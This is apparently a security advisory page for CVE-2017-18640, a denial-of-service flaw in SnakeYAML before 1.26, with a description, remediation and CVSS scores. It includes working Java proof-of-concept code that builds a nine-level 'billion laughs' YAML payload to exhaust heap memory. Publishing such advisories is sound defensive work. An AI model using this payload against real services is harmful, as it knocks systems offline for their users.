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CVE-2017-18640
Date: December 11, 2019
Overview
The Alias feature in SnakeYAML before 1.26 allows entity expansion during a load operation, a related issue to CVE-2003-1564.Details
Using SnakeYaml to parse YAML file which contain malicious payload that consist of multiple entities, each defined of multiple of previously defined entities, causing a denial of services due to heap overflow. This kind of attack also known as “billion laughs attack”.PoC Details
Creating a Yamal file from "content" string which imlments a multiple entity hierarchy in this POC of 9 levels, causing a heap memory overflow due to the amount of data that stored in heap memory during the load of this huge Yamal file.PoC Code
String content = "a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
" +
"b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
" +
"c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
" +
"d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
" +
"e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
" +
"f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
" +
"g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
" +
"h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
" +
"i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]";
org.yaml.snakeyaml.Yaml yaml;
yaml = new org.yaml.snakeyaml.Yaml();
Map map = (Map) yaml.load(content);
System.out.println(map);Affected Environments
Before 1.26Remediation
-Prevention
Update to version 1.26Language: DEBIAN
Good to know:
| Base Score: |
|
|---|---|
| Attack Vector (AV): | Network |
| Attack Complexity (AC): | Low |
| Privileges Required (PR): | None |
| User Interaction (UI): | None |
| Scope (S): | Unchanged |
| Confidentiality (C): | None |
| Integrity (I): | None |
| Availability (A): | High |
| Base Score: |
|
|---|---|
| Access Vector (AV): | Network |
| Access Complexity (AC): | Low |
| Authentication (AU): | None |
| Confidentiality (C): | None |
| Integrity (I): | None |
| Availability (A): | Partial |
| Additional information: |